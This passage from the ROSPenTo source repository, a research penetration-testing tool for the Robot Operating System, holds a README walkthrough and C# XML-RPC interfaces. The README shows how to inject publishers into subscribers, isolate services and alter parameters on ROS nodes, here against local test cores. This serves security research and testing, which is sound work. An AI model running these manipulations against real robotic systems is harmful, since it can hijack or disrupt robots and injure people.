either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | RosPenTo 635 | Copyright (C) 2018 ros-security 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | RosPenTo Copyright (C) 2018 ros-security 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ROSPenTo 2 | The Robot Operating System (ROS) penetration testing tool (ROSPenTo) can send XML remote procedure calls (XMLRPC) to the ROS-Master and to ROS-Nodes. 3 | 4 | ## Description 5 | ROSPenTo is a penetration testing tool for the Robot Operating System (ROS). Any ROS-Network can be analyzed. 6 | 7 | ``` 8 | By no means do we want to encourage or promote the unauthorized tampering with 9 | running robotic applications since this can cause damage and serious harm. 10 | 11 | Nevertheless, we think it is important to show that those vulnerabilities exist 12 | and to make the ROS community aware how easily an application can be undermined. 13 | ``` 14 | 15 | ## Citing 16 | If you are using RosPenTo in your research, we would be grateful if you cite this publication 17 | 18 | Bernhard Dieber, Ruffin White, Sebastian Taurer, Benjamin Breiling, Gianluca Caiazza, Henrik Christensen, Agostino Cortesi (2019). Penetration testing ROS. Penetration testing ROS. 19 | https://link.springer.com/chapter/10.1007/978-3-030-20190-6_8 20 | 21 | 22 | ``` 23 | @Inbook{Dieber2020, 24 | author="Dieber, Bernhard and White, Ruffin and Taurer, Sebastian and Breiling, Benjamin and Caiazza, Gianluca and Christensen, Henrik and Cortesi, Agostino", 25 | editor="Koubaa, Anis", 26 | title="Penetration Testing ROS", 27 | bookTitle="Robot Operating System (ROS): The Complete Reference (Volume 4)", 28 | year="2020", 29 | publisher="Springer International Publishing", 30 | address="Cham", 31 | pages="183--225", 32 | isbn="978-3-030-20190-6", 33 | doi="10.1007/978-3-030-20190-6_8", 34 | url="https://doi.org/10.1007/978-3-030-20190-6_8" 35 | } 36 | ``` 37 | 38 | ## Getting Started 39 | 40 | ### Compiling and running 41 | #### Windows 42 | In Windows, you can compile and run ROSPenTo straightforward using 43 | 44 | ``` 45 | nuget restore 46 | msbuild 47 | cd RosPenToConsole\bin\debug\ 48 | RosPenToConsole.exe 49 | ``` 50 | or open, compile and run it in Visual Studio. 51 | 52 | #### Linux 53 | In Linux, make sure you have a current version of Mono installed (apt-get'ing might return an old version). 54 | 55 | Follow the installation instructions on the Mono website http://www.mono-project.com/download/stable/#download-lin 56 | 57 | Afterwards (in the root folder of ROSPenTo) run 58 | 59 | ``` 60 | nuget restore 61 | msbuild 62 | cd RosPenToConsole/bin/Debug 63 | mono RosPenToConsole.exe 64 | ``` 65 | 66 | #### Docker container 67 | ```bash 68 | docker build -t rospento . # build the container 69 | docker run -it rospento 70 | > ROSPenTo # an alias for "rospento" has also been created 71 | ``` 72 | 73 | 74 | In running, there are two options to use the ROSPenTo: 75 | * without parameters 76 | * with parameters 77 | 78 | ### Without parameters 79 | When the application is started without parameters the command line interface (CLI) is shown. 80 | After a system was analyzed (1.) the following commands can be executed: 81 | 82 | (0.) Exit 83 | 84 | (1.) Analyse system... 85 | 86 | (2.) Print all analyzed systems 87 | 88 | (3.) Print information about analyzed system... 89 | 90 | (4.) Print nodes of analyzed system... 91 | 92 | (5.) Print node types of analyzed system (Python or C++)... 93 | 94 | (6.) Print topics of analyzed system... 95 | 96 | (7.) Print services of analyzed system... 97 | 98 | (8.) Print communications of analyzed system... 99 | 100 | (9.) Print communications of topic... 101 | 102 | (10.) Print parameters... 103 | 104 | (11.) Update publishers list of subscriber (add)... 105 | 106 | (12.) Update publishers list of subscriber (set)... 107 | 108 | (13.) Update publishers list of subscriber (remove)... 109 | 110 | (14.) Isolate Service... 111 | 112 | (15.) Unsubscribe node from parameter (only C++)... 113 | 114 | (16.) Update subscribed parameter at Node (only C++)... 115 | 116 | More than one ROS-Network can be analyzed. 117 | 118 | Run the following command to start the CLI: 119 | ``` 120 | RosPenToConsole.exe 121 | ``` 122 | 123 | ### With parameters 124 | When you specify parameters you can run a **publisher update** command 125 | * -t, --target Required. ROS Master URI of the target system. 126 | * -p, --pentest Required. ROS Master URI of the penetration testing system. 127 | * --sub Required. Name of the affected subscriber in the target system. 128 | * --top Required. Name of the affected topic. 129 | * --pub Required. Name of the new publisher in the penetration testing system. 130 | * --add (Default: False) publisherUpdate command adds publisher to existing ones. 131 | * --set (Default: False) publisherUpdate command sets new publisher. 132 | * --remove (Default: False) publisherUpdate command removes publisher from existing ones. 133 | 134 | You have to specify all the required parameters and exactly one of the following: ```{--add, --set, --remove}``` 135 | 136 | E.g.: The following command runs the publisher update procedure on the local machine with two running roscores and adds a new publisher to the existing subscriber: 137 | ``` 138 | RosPenToConsole.exe -t http://127.0.0.1:11311 --sub /subscriberNode -p http://127.0.0.1:11312 --top /topicName --pub /newPublisherNode --add 139 | ``` 140 | 141 | # An example 142 | 143 | Run two roscores on your machine 144 | ``` 145 | roscore& 146 | roscore -p 11312& 147 | ``` 148 | Run a publisher in the first master 149 | 150 | ``` 151 | rosrun rospy_tutorials talker 152 | ``` 153 | 154 | Run a subscriber in the second master 155 | 156 | ``` 157 | export ROS_MASTER_URI=http://localhost:11312 158 | rosrun rospy_tutorials listener 159 | ``` 160 | 161 | Initially, you will see no output from the listener since it is running "alone" within its ROS network. 162 | 163 | 164 | Then start ROSPenTo to analyze the network (using mono on Linux or without it). 165 | Follow the instructions on https://www.mono-project.com/download/stable/#download-lin to install mono. 166 | ``` 167 | (mono )RosPenToConsole.exe 168 | ``` 169 | 170 | Press 1 171 | 172 | Enter the host URI `http://localhost:11311` 173 | 174 | You will see the nodes running in the first ROS core (mainly rosout) 175 | 176 | Press 1 again 177 | 178 | Enter the host URI `http://localhost:11312` 179 | 180 | You will see a similar output but with different ports. 181 | 182 | Let's assume the following output for the first roscore (System 0) 183 | 184 | ``` 185 | System 0: http://127.0.0.1:11311/ 186 | Nodes: 187 | Node 0.1: /rosout (XmlRpcUri: http://127.0.0.1:41865/) 188 | Node 0.0: /talker_5957_1529503884881 (XmlRpcUri: http://127.0.0.1:46015/) 189 | Topics: 190 | Topic 0.0: /chatter (Type: std_msgs/String) 191 | Topic 0.1: /rosout (Type: rosgraph_msgs/Log) 192 | Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log) 193 | Services: 194 | Service 0.3: /rosout/get_loggers 195 | Service 0.2: /rosout/set_logger_level 196 | Service 0.1: /talker_5957_1529503884881/get_loggers 197 | Service 0.0: /talker_5957_1529503884881/set_logger_level 198 | Communications: 199 | Communication 0.0: 200 | Publishers: 201 | Node 0.0: /talker_5957_1529503884881 (XmlRpcUri: http://127.0.0.1:46015/) 202 | Topic 0.0: /chatter (Type: std_msgs/String) 203 | Subscribers: 204 | Communication 0.1: 205 | Publishers: 206 | Node 0.0: /talker_5957_1529503884881 (XmlRpcUri: http://127.0.0.1:46015/) 207 | Topic 0.1: /rosout (Type: rosgraph_msgs/Log) 208 | Subscribers: 209 | Node 0.1: /rosout (XmlRpcUri: http://127.0.0.1:41865/) 210 | Communication 0.2: 211 | Publishers: 212 | Node 0.1: /rosout (XmlRpcUri: http://127.0.0.1:41865/) 213 | Topic 0.2: /rosout_agg (Type: rosgraph_msgs/Log) 214 | Subscribers: 215 | ``` 216 | 217 | And this for the second roscore (System 1) 218 | 219 | ``` 220 | System 1: http://127.0.0.1:11312/ 221 | Nodes: 222 | Node 1.0: /listener_6113_1529504103477 (XmlRpcUri: http://127.0.0.1:40499/) 223 | Node 1.1: /rosout (XmlRpcUri: http://127.0.0.1:37823/) 224 | Topics: 225 | Topic 1.1: /chatter (Type: std_msgs/String) 226 | Topic 1.0: /rosout (Type: rosgraph_msgs/Log) 227 | Topic 1.2: /rosout_agg (Type: rosgraph_msgs/Log) 228 | Services: 229 | Service 1.1: /listener_6113_1529504103477/get_loggers 230 | Service 1.0: /listener_6113_1529504103477/set_logger_level 231 | Service 1.3: /rosout/get_loggers 232 | Service 1.2: /rosout/set_logger_level 233 | Communications: 234 | Communication 1.0: 235 | Publishers: 236 | Node 1.0: /listener_6113_1529504103477 (XmlRpcUri: http://127.0.0.1:40499/) 237 | Topic 1.0: /rosout (Type: rosgraph_msgs/Log) 238 | Subscribers: 239 | Node 1.1: /rosout (XmlRpcUri: http://127.0.0.1:37823/) 240 | Communication 1.1: 241 | Publishers: 242 | Topic 1.1: /chatter (Type: std_msgs/String) 243 | Subscribers: 244 | Node 1.0: /listener_6113_1529504103477 (XmlRpcUri: http://127.0.0.1:40499/) 245 | Communication 1.2: 246 | Publishers: 247 | Node 1.1: /rosout (XmlRpcUri: http://127.0.0.1:37823/) 248 | Topic 1.2: /rosout_agg (Type: rosgraph_msgs/Log) 249 | Subscribers: 250 | 251 | ``` 252 | Now perform the following sequence 253 | 254 | 255 | `11 <--- press 11 to perform a publisher update` 256 | ``` 257 | To which subscriber do you want to send the publisherUpdate message? 258 | Please enter number of subscriber (e.g.: 0.0): 259 | ``` 260 | `1.0 <--- Select the subscriber 0 from System 1` 261 | ``` 262 | Which topic should be affected? 263 | Please enter number of topic (e.g.: 0.0): 264 | ``` 265 | `1.1 <--- Select topic "Chatter" from System 1` 266 | ``` 267 | Which publisher(s) do you want to add? 268 | Please enter number of publisher(s) (e.g.: 0.0,0.1,...): 269 | ``` 270 | `0.0 <--- Select the first node from Systm 0` 271 | ``` 272 | sending publisherUpdate to subscriber '/listener_6113_1529504103477 (XmlRpcUri: http://127.0.0.1:40499/)' over topic '/chatter (Type: std_msgs/String)' with publishers '/talker_5957_1529503884881 (XmlRpcUri: http://127.0.0.1:46015/)' 273 | PublisherUpdate completed successfully. 274 | ``` 275 | 276 | Now the chatter publisher from the first ROS network publishes to the subscriber in the second. 277 | 278 | You should see the output of the listener now. 279 | -------------------------------------------------------------------------------- /RosPenTo.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RosPenTo", "RosPenTo\RosPenTo.csproj", "{2B652B3C-2758-40E9-B3CC-6B33A9E867D4}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RosPenToTest", "RosPenToTest\RosPenToTest.csproj", "{6C83F3CC-E44E-4FA2-AA55-E6ADD9D049F2}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RosPenToConsole", "RosPenToConsole\RosPenToConsole.csproj", "{7311A217-A56E-4D74-9FEB-809AC0178077}" 11 | EndProject 12 | Global 13 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 14 | Debug|Any CPU = Debug|Any CPU 15 | Release|Any CPU = Release|Any CPU 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {2B652B3C-2758-40E9-B3CC-6B33A9E867D4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {2B652B3C-2758-40E9-B3CC-6B33A9E867D4}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {2B652B3C-2758-40E9-B3CC-6B33A9E867D4}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {2B652B3C-2758-40E9-B3CC-6B33A9E867D4}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {6C83F3CC-E44E-4FA2-AA55-E6ADD9D049F2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 23 | {6C83F3CC-E44E-4FA2-AA55-E6ADD9D049F2}.Debug|Any CPU.Build.0 = Debug|Any CPU 24 | {6C83F3CC-E44E-4FA2-AA55-E6ADD9D049F2}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {6C83F3CC-E44E-4FA2-AA55-E6ADD9D049F2}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {7311A217-A56E-4D74-9FEB-809AC0178077}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {7311A217-A56E-4D74-9FEB-809AC0178077}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {7311A217-A56E-4D74-9FEB-809AC0178077}.Release|Any CPU.ActiveCfg = Release|Any CPU 29 | {7311A217-A56E-4D74-9FEB-809AC0178077}.Release|Any CPU.Build.0 = Release|Any CPU 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | EndGlobal 35 | -------------------------------------------------------------------------------- /RosPenTo/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /RosPenTo/Communication.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.Collections.Generic; 17 | using System.Linq; 18 | using System.Text; 19 | using System.Threading.Tasks; 20 | 21 | namespace RosPenTo 22 | { 23 | public class Communication 24 | { 25 | public ISet Publishers { get; } = new HashSet(); 26 | public ISet Subscribers { get; } = new HashSet(); 27 | public Topic Topic { get; private set; } 28 | 29 | public Communication(Topic topic) 30 | { 31 | Topic = topic; 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /RosPenTo/IXmlRpcMasterClient.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using CookComputing.XmlRpc; 16 | 17 | namespace RosPenTo 18 | { 19 | [XmlRpcUrl("")] 20 | public interface IXmlRpcMasterClient : IXmlRpcProxy 21 | { 22 | [XmlRpcMethod("getTopicTypes")] 23 | /// 24 | /// Retrieve a list of topic names and their types. 25 | /// 26 | /// 27 | /// (code, statusMessage, topicTypes) 28 | /// (int, str, [ [str,str] ]) 29 | /// topicTypes is a list of [topicName, topicType] pairs 30 | /// 31 | object[] GetTopicTypes(string caller_id); 32 | 33 | [XmlRpcMethod("getSystemState")] 34 | /// 35 | /// Retrieve list representation of system state 36 | /// 37 | /// 38 | /// (code, statusMessage, systemState) 39 | /// (int, str, [ [str,[str] ], [str,[str] ], [str,[str] ] ]) 40 | /// 41 | object[] GetSystemState(string caller_id); 42 | 43 | [XmlRpcMethod("lookupNode")] 44 | /// 45 | /// Get the XML-RPC URI of the node with the associated name/caller_id. 46 | /// This API is for looking information about publishers and subscribers. 47 | /// 48 | /// 49 | /// (code, statusMessage, URI) 50 | /// (int, str, str) 51 | /// 52 | object[] LookupNode(string caller_id, string node_name); 53 | 54 | [XmlRpcMethod("lookupService")] 55 | /// 56 | /// Lookup all provider of a particular service. 57 | /// 58 | /// 59 | /// (code, statusMessage, serviceUrl) 60 | /// (int, str, str) 61 | /// 62 | object[] LookupService(string caller_id, string service); 63 | 64 | [XmlRpcMethod("unregisterService")] 65 | /// 66 | /// Unregister the caller as a provider of the specified service. 67 | /// 68 | /// ROS caller ID 69 | /// Fully qualified name of service 70 | /// 71 | /// API URI of service to unregister. 72 | /// Unregistration will only occur if current registration matches. 73 | /// 74 | /// 75 | /// (code, statusMessage, numUnregistered) 76 | /// Number of unregistrations (either 0 or 1). 77 | /// If this is zero it means that the caller was not registered as a service provider. 78 | /// The call still succeeds as the intended final state is reached. 79 | /// 80 | object[] UnregisterService(string caller_id, string service, string service_api); 81 | } 82 | 83 | } 84 | -------------------------------------------------------------------------------- /RosPenTo/IXmlRpcParameterClient.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using CookComputing.XmlRpc; 16 | 17 | namespace RosPenTo 18 | { 19 | 20 | public interface IXmlRpcParameterClient : IXmlRpcProxy 21 | { 22 | [XmlRpcMethod("getParamNames")] 23 | 24 | /// 25 | /// Get list of all parameter names stored on the parameter server. 26 | /// 27 | /// 28 | /// ROS caller ID 29 | /// 30 | /// 31 | /// (code, statusMessage, parameterNameList) 32 | /// (int, str, [str]) 33 | /// 34 | object[] GetParamNames(string caller_id); 35 | 36 | 37 | [XmlRpcMethod("getParam")] 38 | /// 39 | /// Retrieve a parameter with the given key from the parameter server 40 | /// 41 | /// 42 | /// ROS caller ID 43 | /// 44 | /// 45 | /// Name of the parameter 46 | /// 47 | /// 48 | /// (code, statusMessage, value) 49 | /// (int, string, XmlRpcValue) 50 | /// 51 | object[] GetParam(string caller_id, string key); 52 | 53 | 54 | [XmlRpcMethod("unsubscribeParam")] 55 | /// 56 | /// 57 | /// 58 | /// 59 | /// ROS caller ID 60 | /// 61 | /// 62 | /// Node API URI of subscriber 63 | /// 64 | /// 65 | /// 66 | /// 67 | /// 68 | /// 69 | /// 70 | object[] UnsubscribeParam(string caller_id, string caller_api, string key); 71 | 72 | [XmlRpcMethod("subscribeParam")] 73 | /// 74 | /// Retrieve parameter value from server and subscribe to updates to that param. See paramUpdate() in the Node API. 75 | /// 76 | /// 77 | /// ROS caller ID 78 | /// 79 | /// 80 | /// Node API URI of subscriber for paramUpdate callbacks 81 | /// 82 | /// 83 | /// Parameter name 84 | /// 85 | object[] SubscribeParam(string caller_id, string caller_api, string key); 86 | 87 | } 88 | 89 | } -------------------------------------------------------------------------------- /RosPenTo/IXmlRpcSlave.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using System; 16 | using System.Collections.Generic; 17 | using System.Linq; 18 | using System.Text; 19 | using System.Threading.Tasks; 20 | using CookComputing.XmlRpc; 21 | 22 | namespace RosPenTo 23 | { 24 | public interface IXmlRpcSlave 25 | { 26 | [XmlRpcMethod("publisherUpdate")] 27 | /// 28 | /// Updates the current list of publishers for a specified topic. 29 | /// 30 | /// 31 | /// (code, statusMessage, ignore) 32 | /// (int, str, int) 33 | /// 34 | object[] PublisherUpdate(string caller_id, string topic, string[] publishers); 35 | 36 | [XmlRpcMethod("paramUpdate")] 37 | /// 38 | /// 39 | /// 40 | /// 41 | /// ROS caller ID. 42 | /// 43 | /// 44 | /// Parameter name, globally resolved. 45 | /// 46 | /// 47 | /// New parameter value. 48 | /// 49 | /// 50 | /// (code, statusMessage, ignore) 51 | /// (int, str, int) 52 | /// 53 | object[] ParamUpdate(string caller_id, string parameter_key, object parameter_value); 54 | 55 | [XmlRpcMethod("requestTopic")] 56 | /// 57 | /// This method is called by a subscriber node and requests that source allocate a channel for communication. 58 | /// 59 | /// 60 | /// List of desired protocols for communication in order of preference. 61 | /// Each protocol is a list of the form: 62 | /// [ProtocolName, ProtocolParam1, ProtocolParam2...N] 63 | /// 64 | /// 65 | /// (code, statusMessage, protocolParams) 66 | /// (int, str, [str, !XMLRPCLegalValue*] ) 67 | /// 68 | object[] RequestTopic(string caller_id, string topic, object[] protocols); 69 | 70 | [XmlRpcMethod("getName")] 71 | /// 72 | /// (Python-Only API) Get the XML-RPC URI of this server 73 | /// 74 | /// 75 | /// ROS caller id 76 | /// 77 | /// 78 | /// (code, statusMessage, ROS node name) 79 | /// (int, str, str) 80 | /// 81 | /// 82 | object[] GetName(string caller_id); 83 | 84 | [XmlRpcMethod("shutdown")] 85 | /// 86 | /// Stop this server. 87 | /// 88 | /// 89 | /// A message describing why the node is being shutdown. 90 | /// 91 | /// 92 | /// (code, statusMessage, ignore) 93 | /// (int, str, int) 94 | /// 95 | object[] Shutdown(string caller_id, string message); 96 | 97 | [XmlRpcMethod("echo")] 98 | string Echo(string input); 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /RosPenTo/IXmlRpcSlaveClient.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. 9 | 10 | You should have received a copy of the GNU General Public License along with this program; if not, see . 11 | 12 | */ 13 | 14 | 15 | using CookComputing.XmlRpc; 16 | 17 | namespace RosPenTo 18 | { 19 | [XmlRpcUrl("")] 20 | public interface IXmlRpcSlaveClient : IXmlRpcProxy, IXmlRpcSlave 21 | { 22 | 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /RosPenTo/Network/EndPointManager.cs: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | RosPenTo - Penetration testing tool for the Robot Operating System (ROS) 4 | Copyright (C) 2018 JOANNEUM RESEARCH Forschungsgesellschaft mbH 5 | 6 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. 7 